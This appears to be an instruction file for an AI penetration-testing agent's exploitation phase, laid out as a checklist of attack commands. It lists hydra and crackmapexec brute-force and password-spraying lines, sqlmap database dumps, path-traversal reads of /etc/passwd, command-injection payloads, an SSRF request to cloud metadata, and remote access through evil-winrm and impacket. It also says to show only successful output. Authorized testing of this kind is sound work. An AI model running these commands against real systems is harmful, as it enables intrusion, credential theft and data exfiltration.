| name | exploitation-phase |
| tags | ["exploitation"] |
| description | Exploitation phase — exploit confirmed vulns, credential attacks, gain access. Use when the current phase is EXPLOITATION. |
Exploitation Checklist
Prioritize: known public exploits > default creds > brute force > manual exploitation.
PROVE impact — the win condition
A vuln is not "confirmed" until you reproduce concrete impact: id/whoami (RCE), a dumped canary row/secret (SQLi), file bytes like /etc/passwd (LFI/XXE), cloud creds (SSRF), cross-user data (IDOR), or the required marker. Mark add_vuln suspected on detection, confirmed only WITH that evidence artifact. Detection output ("tool says vulnerable") is a lead, not proof.
Exploit Search & Preparation
searchsploit <service> <version>
searchsploit -m <exploit_id>
msfconsole -q -x "search type:exploit <service>"
Known CVE Exploitation
msfconsole -q -x "use <exploit_path>; set RHOSTS <target>; set LHOST <attacker_ip>; run"
python3 exploit.py <target> <port>
Credential Attacks
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
crackmapexec smb <target> -u users.txt -p passwords.txt
hydra -l <user> -P wordlist.txt rdp://<target>
crackmapexec smb <target> -u users.txt -p 'Password1!'
Web Exploitation
sqlmap -u "http://<target>/vuln?id=1" --batch --dbs
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> --tables
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> -T <table> --dump
curl "http://<target>/page?file=../../../etc/passwd"
curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=config.php"
curl "http://<target>/ping?host=;id"
curl "http://<target>/ping?host=$(whoami)"
curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"
Post-Authentication Access
ssh <user>@<target>
sshpass -p '<password>' ssh <user>@<target>
evil-winrm -i <target> -u <user> -p '<password>'
impacket-psexec <domain>/<user>:'<password>'@<target>
impacket-wmiexec <domain>/<user>:'<password>'@<target>
Evidence Collection
For every successful exploit:
- Screenshot or copy command + output
- Record: target, port, CVE/technique, access level gained
- Update engagement state with access entry
Phase Completion Criteria
Move to POST_EXPLOIT when:
- All confirmed vulns attempted
- Access gained where possible
- Credentials tested across services
- Access levels documented
Output Rules
- Always use quiet/filtered output flags. Only show successful results.
- Redirect large output to files. Never paste >50 lines of raw tool output.
- Use parser tools (cme_parse, sqlmap_parse, nuclei_parse) for auto-processing.